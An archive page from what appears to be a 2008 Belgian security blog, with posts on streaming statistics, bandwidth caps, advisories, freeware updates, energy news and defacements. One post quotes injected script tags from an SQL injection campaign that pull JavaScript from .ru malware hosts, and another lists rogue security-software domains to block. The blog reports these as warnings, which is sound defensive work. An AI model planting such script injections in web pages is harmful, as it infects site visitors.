08/31/2008

Olympic streaming of video numbers

In one of the single most ambitious media projects in history, NBC presented more than 3,600 hours of broadcast coverage during the 17-day event. Viewers of NBC's coverage of the Beijing Olympic Games used their PCs and laptops to access 2,200 hours of video that they could play back on demand, as well as 3,000 hours of highlights, rewinds, encores and scoring results. Individuals are also watching video and viewing results on their smartphones. Here are some of the record-breaking NBCOlympics.com video traffic statistics:

  • Video Streams: 75.5 million for Beijing, 10.8 million for Athens and Torino Games combined (+601%)
  • Unique Users: 51.9 million for Beijing, 25.2 million for Athens and Torino Games combined (+106%)
  • Page Views: 1.24 billion for Beijing, 561.1 million for Athens and Torino Games combined (+122%)

my comment So lets conclude, the number of viewers only doubled and they only viewed double the number of pages, but they clicked on 6 times more streams. The problem is that these numbers don't differentiate between live streaming and hosted video so the network impact isn't that clear. Secondly it is not clear if they used proxies and mirrors or embedded videos with it.

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Comcast limits netuse to 250GB per month

We in Belgium have 25 to 30 GB a month- if we pay 30 Euro's each month that is

"Comcast has announced that effective October 1, 2008, they will impose a 250 GB/month bandwidth cap on their users. Their web page about the policy states that "he median data usage by Comcast High-Speed Internet customers is approximately 2-3 GB each month," Comcast "Excessive Use" FAQ, and it is very likely that the average usage is a couple times higher, judging by the Japanese experience mentioned above. (Comcast says that fewer than 1% of their users exceed the 250 GB/month limit.) "

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Update and exploit alerts

web

http://secunia.com/advisories/31641/  quickpoll SQL injection

Server

VMware critical updates

PC software

http://secunia.com/advisories/31595/  Acoustia Mixcraft - exploit available

http://secunia.com/advisories/31632/  Ultraoffice  - exploit available

 

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Hearings of US congress committee going back in time (funny)

http://judiciary.senate.gov/hearing.cfm?id=3532

joomla55

I hope the Chairman knows what he was doing at that time in 2001 so he could have been present.....

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belsecTV Votergate (about evoting)

Votergate - The Presidential Election Special Edition (Election Fraud) - 36 mn - 3 mai 2006
www.votergate.tv - www.votergate.tv

Votergate, an action documentary, follows a young team on their nationwide investigation of the current problems with our voting systems and elections procedures. Fast-paced and engaging, Votergate reveals the shocking story of how touchscreen voting systems are highly susceptible to hacking and how these systems are being implemented across the country without the proper checks and balances to insure accuracy and accountability.«

 

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freeware of the day Activ

Activ can monitor in real-time: processes start/stop, reporting process name, ID and command line. Loading of images (DLLs), reporting image name, process ID where this image is loaded into, image base address and size. Registry functions execution, reporting key and value names.

File open/create, read, write, rename reporting process ID (PID) that accessed a file, file name, desired access, share access, file attributes, options, buffer length and status of the executed operation. Version 1.2 added user interface program ActivSetup.exe to ease Activ settings selection and Registry monitoring is re-engineered using Microsoft Registry filtering model.

http://www.download.com/Activ/3000-2162_4-10797583.html?c...

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updates of interesting and security freeware

More than 800 freewares on update weekly update watch
 

   CDBurnerXP 4.2.1.864


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What's new in this version: Version 4.2.1.864 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:4.2.1.864
filed under:CD & DVD Burners
 

   eCipher Free 1.6


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What's new in this version: Version 1.6 features a the new "Anywhere" zero-download delivery option.
updated:8/28/2008
new version:1.6
filed under:Encryption Software
 

   A-Z Free Video Converter 7.11


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What's new in this version: Version 7.11 may include unspecified updates, enhancements, or bug fixes.
updated:8/25/2008
new version:7.11
filed under:Video Converters
 

   SourceMonitor 2.5.0.2


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What's new in this version: Version 2.5.0.2 may include unspecified updates, enhancements, or bug fixes.
updated:8/28/2008
new version:2.5.0.2
filed under:Specialized Tools
 

   PRTG Network Monitor 7.0.7.1206


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What's new in this version: Version 7.0.7.1206 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:7.0.7.1206
filed under:Management Tools
 

   Free Registry Cleaner 4.9


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What's new in this version: Version 4.9 includes unspecified updates.
updated:8/28/2008
new version:4.9
filed under:System Utilities
 

   Prism Video Converter 1.17


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What's new in this version: Version 1.17 may include unspecified updates, enhancements, and bug fixes.
updated:8/26/2008
new version:1.17
filed under:Video Converters
 

   Orbit Downloader 2.7.4


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What's new in this version: Version 2.7.4 may include unspecified updates, enhancements, or bug fixes.
updated:8/22/2008
new version:2.7.4
filed under:Download Managers
 

   The KMPlayer 2.9.3.1431


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What's new in this version: Version 2.9.3.1431 adds Setup wizard.
updated:8/26/2008
new version:2.9.3.1431
filed under:Video Players
 

   Artisan DVD/DivX Player 3.51


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What's new in this version: Version 3.51 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:3.51
filed under:Digital Media Players
 

   Business Functions 1.5


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What's new in this version: Version 1.5 is an important maintenance release with a significant bug fix for Regular Expressions.
updated:8/26/2008
new version:1.5
filed under:Spreadsheets
 

   doPDF Free PDF Converter 6.1.27


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What's new in this version: Version 6.1.27 includes unspecified updates.
updated:8/27/2008
new version:6.1.27
filed under:Document Management
 

   Zortam Mp3 Media Studio 8.40


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What's new in this version: Version 8.40 added more servers for Zortam auto tagging using additional internet search.
updated:8/28/2008
new version:8.40
filed under:Music Management
 

   Roadkil's Unstoppable Copier 3.51


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What's new in this version: Version 3.51 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:3.51
filed under:Backup Software
 

   Glary Utilities 2.6.1


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What's new in this version: Version 2.6.1 may include unspecified updates, enhancements, or bug fixes.
updated:8/22/2008
new version:2.6.1
filed under:System Utilities
 

   SUMo 2.3.1.57


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What's new in this version: Version 2.3.1.57 includes Vista compatibility and fixed Winzip9 and multiple selection issues.
updated:8/27/2008
new version:2.3.1.57
filed under:Automation Software
 

   Email Director .NET Edition 2.4


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What's new in this version: Version 2.4 has added local end point IP/Port.
updated:8/25/2008
new version:2.4
filed under:Clients
 

   Glary Registry Repair 3


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What's new in this version: Version 3 improves scan engine and fixed some bug.
updated:8/28/2008
new version:3
filed under:Diagnostic Software
 

   Ping Tester 9.10


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What's new in this version: Version 9.10 is a bug fixing release.
updated:8/25/2008
new version:9.10
filed under:Network
 

   TekRADIUS 2.7


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What's new in this version: Version 2.7 may include unspecified updates, enhancements, or bug fixes.
updated:8/28/2008
new version:2.7
filed under:Internet
 

   WinMerge 2.8.6


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What's new in this version: Version 2.8.6 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:2.8.6
filed under:Management & Distribution
 

   MSN Webcam Recorder 17


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What's new in this version: Version 17 improves video clips functionality.
updated:8/28/2008
new version:17
filed under:Webcam & Video
 

   Ping Test Easy 4.12


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What's new in this version: Version 4.12 is a bug fix release.
updated:8/28/2008
new version:4.12
filed under:Network
 

   BestSync 2008 3.6.18


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What's new in this version: Version 3.6.18 added the commands by command line to start tasks as Windows service, and other improvements and bug fixes.
updated:8/25/2008
new version:3.6.18
filed under:Backup Software
 

   A-squared Free 3.5.0.25


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What's new in this version: Version 3.5.0.25 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:3.5.0.25
filed under:Antivirus Software
 

   Wise Registry Cleaner 3 Free 3.7 build 127


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What's new in this version: Version 3.7 build 127 updated some language packs and added new feature that can find empty software entries.
updated:8/28/2008
new version:3.7 build 127
filed under:Diagnostic Software
 

   SendEmails Free Edition 2.0.14


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What's new in this version: Version 2.0.14 adds localizations for English, German, French, Spanish, Dutch, Portuguese, Greek, Russian, Chinese, and Japanese.
updated:8/24/2008
new version:2.0.14
filed under:Clients
 

   TreeSize Free 2.2.1


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What's new in this version: Version 2.2.1 is now able to handle paths with more than 255 characters, optionally shows long tooltip window with detailed folder information, and improves compatibility with 64Bit systems.
updated:8/27/2008
new version:2.2.1
filed under:File Management
 

   Spiceworks IT Desktop 3.1.25624


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What's new in this version: Version 3.1.25624 increases performance (up to 40% faster). New features include Microsoft Exchange support & monitoring, the ability to create custom navigation items for web-based tools, custom group creation, the ability to track service providers, shared reports.
updated:8/26/2008
new version:3.1.25624
filed under:Management Tools
 

   WirelessKeyView 1.17


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What's new in this version: Version 1.17 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:1.17
filed under:Encryption Software
 

   SniffPass 1.06


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What's new in this version: Version 1.06 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:1.06
filed under:Network
 

   MessenPass 1.21


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What's new in this version: Version 1.21 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:1.21
filed under:Encryption Software
 

   IE PassView 1.09


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What's new in this version: Version 1.09 may include unspecified updates, enhancements, or bug fixes.
updated:8/27/2008
new version:1.09
filed under:Encryption Software
 

   Avira AntiVir Personal - Free Antivirus 8.1.0.331


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What's new in this version: Version 8.1.0.331 may include unspecified updates, enhancements, or bug fixes.
updated:8/25/2008
new version:8.1.0.331
filed under:Antivirus Software
 

   WordWeb 5.51


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What's new in this version: Version 5.51 includes updated databases.
updated:8/26/2008
new version:5.51
filed under:Language
 

   Avast Home Edition 4.8.1229.80826


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What's new in this version: Version 4.8.1229.80826 contains improvements in the anti-rootkit module.
updated:8/27/2008
new version:4.8.1229.80826
filed under:Antivirus Software

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New SQL injections from .ru sites now

The inserted links go to a popular drink in the US Sunkist that leads to other infected pages and links.

Sunkist - Grower's Network - The Sunkist NewsLINK

Sunkist received high ratings from USDA for its use of these matching funds. ujnc.ru/js.js>cnld.ru/js.js>uc8.ru/script.js>uc8.ru/script.js>nbh3.ru/script.js ...
www.sunkist.com/growers/sunkist_report/report.asp?report_id=115 - 39k - In cache


Net-Weddings Supplier Directory - East Sussex<script src=http ...Bedfordshire<script src=http://www.njep.ru/js.js></script><script ...... Sunkist Mobile tanning. 01403 240875. 9 Copse Close Horsham

Auto Technica<script src=http://www.cdrpoex.com/ngg.js></script ...Deze site kan schade toebrengen aan uw computer.... src=http://www.oics.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg. js></script><script src=http://www.ujnc.ru/js.js></script> ...

www.autotechnica.be/website2006/home.asp?lang=en

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08/30/2008

Belgium has still some anti-phishing work to do

http://www.apwg.org/reports/APWG_GlobalPhishingSurvey2007.pdf

Look at it like this, this means that every day of the year we have to clean up a phished website on the .be domain. Would be interesting to have a list of those because maybe there are specific hosts or sites that don't care a bit about security as we have seen with Joomla and are responsable for the majority of them.

hack_63

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blocklist pcprivacycleaner rogue securityware

pcprivacycleaner.com
Advancedprivacyguard.com
Advancedprivacyguard2008.com
Advancedprivacyguardpro.com
Advancedprivacyguardsolution.com
Advancedprivacyguardtool.com
Advancedprivacysuite.com
Advancedprivacysuite2008.com
Advancedprivacysuite2009.com
Advancedprivacysuitepro.com
Antispyexpert.com
Antispyexpertpro.com
Antispywareexpert-scanner.com
Antispywareexpert-solution.com
Antispywareexpert-system.com
Antispywareexpert.com
Antispywareexpertpro.com
Bestpcprivacycleaner.com
Cyberadvancedprivacysuite.com
Globaladvancedprivacyguard.com
Globaladvancedprivacysuite.com
Pc-cleanerpro.com
Pcadvancedprivacyguard.com
Anonymbrowser.com
Best-payments.net
Bestpaymentsolution.net
Billingbit.com
Billingbridge.com
Blablahost.com
Direct-billing.com
Errordigger.com
Errorinspector.com
Internetsupernanny.com
Passwordinspector.com
Pctotaldefender.com
Sellmosoft.net
Softwarepayments.net
Pcadvancedprivacysuite.com
Pcprivacycleaner.com
Pcprivacycleanerpro.com
Personalpccleaner.com
Swiftpcprivacycleaner.com
Yourpcprivacycleaner.com

cleanthe.net  source

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freeware of the day AbsoluteShield Internet Eraser Lite 2.70

AbsoluteShield Internet Eraser Lite contains a pop-up blocker and a privacy protector. It protects your privacy by cleaning all the tracks of your Internet and computer activities. The tool is integrated with Internet Explorer and can erase the browser history, cookies, typed URLs, recent documents, Recycle Bin, and temporary folders in one click, completely removing these files from your hard disk without the possibility of any practical software or hardware recovering them.

http://www.download.com/AbsoluteShield-Internet-Eraser-Li...

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belsecTV hippies from hell, the hackers

Hippies from Hell - 53 mn - 9 févr. 2006
IP Productions - http://hippies.waag.org/

Hippies from Hell are a group of hackers, techies, artists, writers and puzzlers. In the eighties they published hacker magazine Hacktic and in 1993 they started the first Dutch Internet-provider, xs4all, thus opening the Internet for the general public. Apart from this they throw wild parties and organize open-air hacker festivals, using the Internet as their social platform. On their mailing list they discuss almost every aspect of our technology infested society. The Dutch hackers, as the hippies were called initially, are a special group within the international hacker movement, which they helped create for a large part. In the film artists play with hardware, young hippies hack their school-calculators, lock pickers open locks without a key: hacking is not just fooling around with technology, it is an attitude, an activity, a verb. 2002/ 2003 HIPPIES FROM HELL 53 minutes English Subtitled -DUTCH spoken- IP-productions, directed by Ine Poppe ,

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08/29/2008

belsecTV reverse engineering to find bugs

Reverse engineering techniques to find security bugs: A case study of the ANI - 61 mn - 22 mai 2007
Google EngEDU

Google Tech Talks May 21, 2007 ABSTRACT Alex Sotirov is a vulnerability engineer at determina. He will discuss some latest techniques in reverse engineering software to find vulnerabilities. Particularly, he'll discuss his technique that lead him to find the ANI bug (a critical new bug in WinXP and Vista). Alex will describe the tools he uses for reverse engineering and show how he reverse engineered ANI Bug. He will continue to discussed Windows security mechanisms (ASLR, /GS) and describe how ANI exploit bypasses them.«

 

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Belgacom infected mailservers ?

well if there is no reason for this, than you should clean your reputation, especially if you say that your clients do not need the in the law foreseen free antivirus because you protect them enough on your network and servers ;

http://www.trustedsource.org

hack_53

 

and

hack_54

 

It is not because you are not on any blacklists (yet) that you are safe and clean and secure (and responsable)

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just a small thanks to all my readers

the ads don't bring in any money (you don't click)

the books don't sell (maybe on christmas or maybe if you are a school or enterprise, buy them through me, thanx)

the free magz and whitepapers aren't read (too boring ?)

so why do you do it ?

To serve my public

which I thank because being among the 30th popular blogs (the 13th last week 8th yesterday) between hundreds of other blogs that write about so many other popular things that is just feeling so good. Makes you feel good.

 

sjabl_80

 

First in september a few things will change around here, maybe some big things but that I can't tell you right now. For the readers here a few new things will be added.

Tips and information can still be send to my mailaddress.

We are looking here for project sponsers, to sponser some projects and ideas we have. It isn't that much so if you are interested as a project sponser, you can contact me.

If you are interested to write - effectively write on some regular basis here - you can contact me also. There are also some stupid but interesting things to do and if you would like to take those on your shoulders, you are welcome (the weekly update freeware list for example or the belsectv section or any other interesting daily or weekly segment..... ). There are also other things you can do - correct my english :) or get a weekly summary out. You are welcome.

We are soon to be one year, on november the 11th. And we have passed 100.000 pageviews for thid blog and more than 300.00 on the blogfeed of the Belgian Security Bloggers of which we are part. If you have a security blog in Belgium contact us and maybe you can become part of our family. Our family is meeting soon around a big meal, contact us if you would like to be invited.

And if you have a site or a blog you can use our feed and some parts of our articles if you respect the copyright and aren't just a made for adsense site.

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Energy news of the day

Analysis: Sudan courts U.S. with oil
 - Sudan has offered the United States the opportunity to explore for oil in Darfur, parts of which reportedly have been recently cleared for Chinese exploration by way of government troops and aerial assaults on rebel-held areas. Sudanese President Omar Hassan al-Bashir told al-Arabiya TV earlier this week that the United States was welcome to explore for Darfur's mineral wealth, which ... more

China hails three-billion-dollar oil deal with Iraq  Beijing (AFP) Aug 28, 2008 - China hailed Thursday a three-billion-dollar oil agreement with Iraq as a win for both nations, as it sought to reassure the rest of the world that it should not be concerned by the deal. Becoming the first foreign firm to enter such an agreement since the end of Saddam Hussein's regime, state-owned China National Petroleum Corp. (CNPC) this week won the right to develop the Al-Ahdab oil ... more

Sunrise Solar Dispels Solar Myths
 San Antonio TX (SPX) Aug 28, 2008 - Sunrise Solar addresses the "solar myths" that often arise in shareholder questions relating to the role of solar power in America's future energy plans. Myth 1: Solar electricity cannot provide a significant part of America's electricity needs. Fact: The solar energy resource in a 100 square mile area of Nevada could supply ALL of the electricity needs of the United

Mitsubishi Electric Announces Shipment Of PV Modules For Non-Electrified Areas
 Tokyo, Japan (SPX) Aug 28, 2008 - Mitsubishi Electric has announced the shipment of four small-size photovoltaic (PV) modules for the overseas market, suitable for use in stand-alone solar power generation systems in areas of the world where the local electrification infrastructure is insufficient or non-existent. The PV systems market has been rapidly expanding globally due to increasing concerns a ... more

South Korea to build 10 more nuclear plants by 2030
 Seoul (AFP) Aug 27, 2008 - South Korea said Wednesday it will build 10 more nuclear power plants by 2030 and increase its renewable energy resources as part of a 100-billion-dollar plan to reduce its dependence on fossil fuels. South Korea, a highly industrialised nation with few natural energy sources, already uses nuclear plants to generate nearly a third of its power needs but hopes to increase that to nearly 60 ... more

this is the first of a number of new things that will arrive here. It is all about the energy. If you haven't any, forget anything about computers, they ain't going to work. You should have an energy policy if you have computers, if you don't you are going to hit a wall and be spending more money on energy than on computing.

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Joomla hacking just continues day after day

anyone still thinking about Joomla as CMS ? anyone co-hosting on the same server with some Joomla ducks ?

 

sjabl_79

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internal phishpage by changing the external links on the site

So here the hacker changed the page to which an external link would lead. It doesn't lead to the external site but to his page. Well this is quite interesting because imagine if you could do this with a phished page on the website for paypal for example. I am sure that it would be even more effective than all those mails and that few people would even notice it (and I am sure many admins would have no clue whatsoever).

This is what the hacker did in his defacements, he changed the link to an external site with his own page. But that proof of concept could be used for anything. Who said that hackers weren't dangerous ? That defacement is just kiddie game ?

source

HACKED BY AdReNaLin

HACKED BY AdReNaLin ...
www.belgian-international.be/index.php?option=com_banners&task=click&bid=12 - 2k - Cached - Similar pages - Note this

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Do not install zango (even if you are promised free copyrighted films)

Some sites try to make money by asking you to click on some ads (you could do a small effort :) others try to install software for which they are paid. But to be sure that you install that software they try to block access to the content as long as you didn't install it. Now we have been finding like some reporters that some illegal film and crack sites try to oblige you to install software like zango before giving you access.

It is a disaster for your pc if you install Zango and it will be very difficult to get if from your computer.

http://www.benedelman.org/spyware/installations/dollidol-180/#removal

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freeware of the day A-squared HiJackFree

A-squared HiJackFree is a detailed system analysis tool which helps advanced users to detect and remove all types of hijackers, spyware, adware, trojans, and worms. Manage all types of Autoruns on your system, Explorer and Browser plug-ins (BHOs, Toolbars). Running processes and their associated modules, control all Services, even those Windows doesn't display, view open ports and the associated listening processes and edit the hosts file.

http://www.download.com/A-squared-HiJackFree/3000-8022_4-...

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